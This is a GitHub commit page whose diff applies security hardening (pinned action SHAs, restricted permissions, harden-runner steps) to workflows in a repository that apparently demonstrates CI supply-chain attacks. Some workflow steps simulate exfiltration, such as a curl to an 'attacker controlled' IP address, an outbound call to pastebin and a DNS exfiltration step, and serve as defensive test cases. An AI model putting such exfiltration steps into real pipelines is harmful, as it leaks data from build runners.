Skip to content

Commit 1fa666a

Browse files
[StepSecurity] Apply security best practices
Signed-off-by: StepSecurity Bot <[email protected]>
1 parent 4da23c8 commit 1fa666a

24 files changed

+163
-72
lines changed

.github/workflows/PRTargetWorkflow.yml

Lines changed: 10 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,13 +7,22 @@ on:
77
- synchronize
88
- reopened
99

10+
permissions: {}
11+
1012
jobs:
1113
pr-target-check:
14+
permissions:
15+
contents: read # for actions/checkout to fetch code
1216
runs-on: ubuntu-latest
1317

1418
steps:
19+
- name: Harden the runner (Audit all outbound calls)
20+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
21+
with:
22+
egress-policy: audit
23+
1524
- name: Check out code
16-
uses: actions/checkout@v4
25+
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
1726

1827
- name: Wait for 2 minutes
1928
run: sleep 120

.github/workflows/anomalous-outbound-calls.yaml

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,17 @@
11
name: Anomalous Outbound Calls
22
on:
33
workflow_dispatch:
4+
permissions: {}
5+
46
jobs:
57
unexpected-outbound-calls:
8+
permissions:
9+
contents: read
610
name: AnomalousOutboundCalls
711
runs-on: ubuntu-latest
812
steps:
913
- name: Harden Runner
10-
uses: step-security/harden-runner@v2
14+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
1115
with:
1216
egress-policy: audit
1317
- run: "curl https://pastebin.com -L || true"

.github/workflows/arc-codecov-simulation.yml

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ jobs:
77
runs-on: self-hosted
88
steps:
99
- name: Harden Runner
10-
uses: step-security/harden-runner@v2
10+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
1111
with:
1212
egress-policy: block
1313
allowed-endpoints: >
@@ -19,16 +19,16 @@ jobs:
1919
nodejs.org:443
2020
production.cloudflare.docker.com:443
2121
registry.npmjs.org:443
22-
- uses: actions/checkout@v3
23-
- uses: actions/setup-node@v3
22+
- uses: actions/checkout@f43a0e5ff2bd294095638e18286ca9a3d1956744 # v3.6.0
23+
- uses: actions/setup-node@3235b876344d2a9aa001b8d1453c930bba69e610 # v3.9.1
2424
with:
2525
node-version: 18
2626
- name: npm install
2727
run: |
2828
cd ./src/exfiltration-demo
2929
npm install
3030
- name: Publish to Registry
31-
uses: elgohr/Publish-Docker-Github-Action@v5
31+
uses: elgohr/Publish-Docker-Github-Action@eb53b3ec07136a6ebaed78d8135806da64f7c7e2 # v5
3232
with:
3333
name: ${{ github.repository }}/prod:latest
3434
username: ${{ github.actor }}

.github/workflows/arc-secure-by-default.yml

Lines changed: 18 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,19 +2,35 @@ name: "ARC: Secure-By-Default Cluster-Level Policy"
22
on:
33
workflow_dispatch:
44

5+
permissions: {}
6+
57
jobs:
68
direct-ip-hosted:
9+
permissions:
10+
contents: read # for actions/checkout to fetch code
711
runs-on: ubuntu-latest
812
steps:
9-
- uses: actions/checkout@v3
13+
- name: Harden the runner (Audit all outbound calls)
14+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
15+
with:
16+
egress-policy: audit
17+
18+
- uses: actions/checkout@f43a0e5ff2bd294095638e18286ca9a3d1956744 # v3.6.0
1019

1120
# Codecov Scenario: Exfiltrate data to attacker's IP address
1221
- name: Data Exfiltration To Attacker Controlled IP address
1322
run: curl 104.16.209.12 --connect-timeout 5
1423
direct-ip-arc:
24+
permissions:
25+
contents: read # for actions/checkout to fetch code
1526
runs-on: self-hosted
1627
steps:
17-
- uses: actions/checkout@v3
28+
- name: Harden the runner (Audit all outbound calls)
29+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
30+
with:
31+
egress-policy: audit
32+
33+
- uses: actions/checkout@f43a0e5ff2bd294095638e18286ca9a3d1956744 # v3.6.0
1834

1935
# Codecov Scenario: Exfiltrate data to attacker's IP address
2036
- name: Data Exfiltration To Attacker Controlled IP address

.github/workflows/arc-solarwinds-simulation.yml

Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,16 +6,21 @@ jobs:
66
arc-solarwinds-simulation:
77
runs-on: self-hosted
88
steps:
9-
- uses: actions/checkout@v3
10-
- uses: actions/setup-node@v3
9+
- name: Harden the runner (Audit all outbound calls)
10+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
11+
with:
12+
egress-policy: audit
13+
14+
- uses: actions/checkout@f43a0e5ff2bd294095638e18286ca9a3d1956744 # v3.6.0
15+
- uses: actions/setup-node@3235b876344d2a9aa001b8d1453c930bba69e610 # v3.9.1
1116
with:
1217
node-version: 18
1318
- name: npm install
1419
run: |
1520
cd ./src/backdoor-demo
1621
npm install
1722
- name: Publish to Registry
18-
uses: elgohr/Publish-Docker-Github-Action@v5
23+
uses: elgohr/Publish-Docker-Github-Action@eb53b3ec07136a6ebaed78d8135806da64f7c7e2 # v5
1924
with:
2025
name: ${{ github.repository }}/prod:latest
2126
username: ${{ github.actor }}

.github/workflows/arc-zero-effort-observability.yml

Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,16 +6,21 @@ jobs:
66
build:
77
runs-on: self-hosted
88
steps:
9-
- uses: actions/checkout@v3
10-
- uses: actions/setup-node@v3
9+
- name: Harden the runner (Audit all outbound calls)
10+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
11+
with:
12+
egress-policy: audit
13+
14+
- uses: actions/checkout@f43a0e5ff2bd294095638e18286ca9a3d1956744 # v3.6.0
15+
- uses: actions/setup-node@3235b876344d2a9aa001b8d1453c930bba69e610 # v3.9.1
1116
with:
1217
node-version: 18
1318
- name: npm install
1419
run: |
1520
cd ./src/exfiltration-demo
1621
npm install
1722
- name: Publish to Registry
18-
uses: elgohr/Publish-Docker-Github-Action@v5
23+
uses: elgohr/Publish-Docker-Github-Action@eb53b3ec07136a6ebaed78d8135806da64f7c7e2 # v5
1924
with:
2025
name: ${{ github.repository }}/prod:latest
2126
username: ${{ github.actor }}

.github/workflows/baseline_checks.yml

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -7,13 +7,13 @@ jobs:
77
build:
88
runs-on: ubuntu-latest
99
steps:
10-
- uses: step-security/harden-runner@int-sh
10+
- uses: step-security/harden-runner@668ad3cce4bd0191ec8fdd9868adcb7521a9dacd # int-sh
1111
with:
1212
egress-policy: audit
1313

14-
- uses: crazy-max/ghaction-github-status@v4
14+
- uses: crazy-max/ghaction-github-status@fa6ac37620bc5d44b93e15caed498629665e9ff5 # v4.2.0
1515

16-
- uses: actions/checkout@v3
16+
- uses: actions/checkout@f43a0e5ff2bd294095638e18286ca9a3d1956744 # v3.6.0
1717

1818
- name: npm install
1919
run: |
@@ -22,12 +22,12 @@ jobs:
2222
2323
- name: get-npm-version
2424
id: package-version
25-
uses: martinbeentjes/[email protected]
25+
uses: martinbeentjes/npm-get-version-action@3cf273023a0dda27efcd3164bdfb51908dd46a5b # v1.3.1
2626
with:
2727
path: src/exfiltration-demo
2828

2929
- name: Publish to Registry
30-
uses: elgohr/Publish-Docker-Github-Action@v5
30+
uses: elgohr/Publish-Docker-Github-Action@eb53b3ec07136a6ebaed78d8135806da64f7c7e2 # v5
3131
with:
3232
name: ${{ github.repository }}/prod:latest
3333
username: ${{ github.actor }}

.github/workflows/block-dns-exfiltration.yaml

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,20 +1,24 @@
11
name: Block DNS Exfiltration With Harden-Runner
22
on:
33
workflow_dispatch:
4+
permissions: {}
5+
46
jobs:
57
build:
8+
permissions:
9+
contents: read # for actions/checkout to fetch code
610
name: Deploy
711
runs-on: ubuntu-latest
812
steps:
913
- name: Harden Runner
10-
uses: step-security/harden-runner@v2
14+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
1115
with:
1216
egress-policy: block
1317
allowed-endpoints: |
1418
github.com:443
1519
1620
- name: Code Checkout
17-
uses: actions/checkout@v4
21+
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
1822

1923
# DNS Data Exfiltration
2024
- name: DNS Data Exfiltration

.github/workflows/changed-files-vulnerability-with-hr.yml

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -15,21 +15,21 @@ jobs:
1515
name: Test changed-files
1616
steps:
1717
- name: Harden Runner
18-
uses: step-security/harden-runner@v2
18+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
1919
with:
2020
disable-sudo: true
2121
egress-policy: block
2222
allowed-endpoints: >
2323
github.com:443
2424
25-
- uses: actions/checkout@v4
25+
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
2626
with:
2727
fetch-depth: 0
2828

2929
# Example 1
3030
- name: Get changed files
3131
id: changed-files
32-
uses: tj-actions/changed-files@v40
32+
uses: step-security/changed-files@95b56dadb92a30ca9036f16423fd3c088a71ee94 # v46.0.5
3333

3434
- name: List all changed files
3535
run: |

.github/workflows/changed-files-vulnerability-without-hr.yml

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -14,14 +14,19 @@ jobs:
1414
runs-on: ubuntu-latest
1515
name: Test changed-files
1616
steps:
17-
- uses: actions/checkout@v4
17+
- name: Harden the runner (Audit all outbound calls)
18+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
19+
with:
20+
egress-policy: audit
21+
22+
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
1823
with:
1924
fetch-depth: 0
2025

2126
# Example 1
2227
- name: Get changed files
2328
id: changed-files
24-
uses: tj-actions/changed-files@v40
29+
uses: step-security/changed-files@95b56dadb92a30ca9036f16423fd3c088a71ee94 # v46.0.5
2530

2631
- name: List all changed files
2732
run: |

0 commit comments

Comments
 (0)